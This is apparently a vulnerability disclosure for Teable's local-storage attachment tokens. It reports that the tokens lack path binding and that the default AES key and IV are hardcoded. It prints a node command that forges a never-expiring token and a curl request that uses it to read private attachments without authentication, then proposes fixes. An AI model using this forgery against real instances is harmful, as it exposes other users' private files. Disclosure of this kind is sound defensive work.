#3624·teable

Attachment Token Forgery + Path-Agnostic Access

Author: AAtomicalCreated Aug 6, 2026Updated Aug 6, 2026

Summary

Teable's local storage attachment tokens (/api/attachments/read/:path(*)) contain only {expiresDate, respHeaders} — no file path, no bucket, no user binding. A token issued for file A grants access to any file B in the storage directory.

The encryption key defaults to a hardcoded value (73b00476e456323e, IV 8c9183e4c175f63c, AES-128-CBC). Self-hosted instances that don't override BACKEND_STORAGE_ENCRYPTION_KEY allow unauthenticated token forgery.

Root Cause

typescript
// Token payload — no path field
interface ITokenEncryptor {
  expiresDate: number;
  respHeaders?: IRespHeaders;
}

// Verification — only checks expiry, not requested path
verifyReadToken(token: string) {
  const { expiresDate, respHeaders } = this.expireTokenEncryptor.decrypt(token);
  if (expiresDate > 0 && Math.floor(Date.now() / 1000) > expiresDate) throw ...;
  return { respHeaders };
}

Exploit

bash
# Forge a never-expiring token with the default key:
node -e "
const crypto = require('crypto');
const c = crypto.createCipheriv('aes-128-cbc','73b00476e456323e','8c9183e4c175f63c');
process.stdout.write(c.update(JSON.stringify({expiresDate:-1}),'utf-8','hex')+c.final('hex'));
"
# → fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742

# Read any private attachment without authentication:
curl 'http://<host>:3000/api/attachments/read/private/table/<file-token>?token=fa0d33eb58102072b53034a345a22b4cea4a09d1e2310c3a74ee6a4cb920a742'

Reproduction (docker-compose)

bash
docker compose up -d   # starts teable with default .env (no BACKEND_STORAGE_ENCRYPTION_KEY)
bash exploit.sh        # signup → upload private file → read it back with forged token, zero auth

Output: image

Impact

  1. Token forgery (unauthed, default-key deployments): full unauthenticated read of all stored private attachments
  2. Token reuse (authed attacker): any valid token reads any other user's private attachments — token has no path binding

Fix

  • Bind the token payload to the specific file path: include bucket + path in ITokenEncryptor and verify them on read
  • Remove the hardcoded default key — require explicit configuration or generate a random key on first boot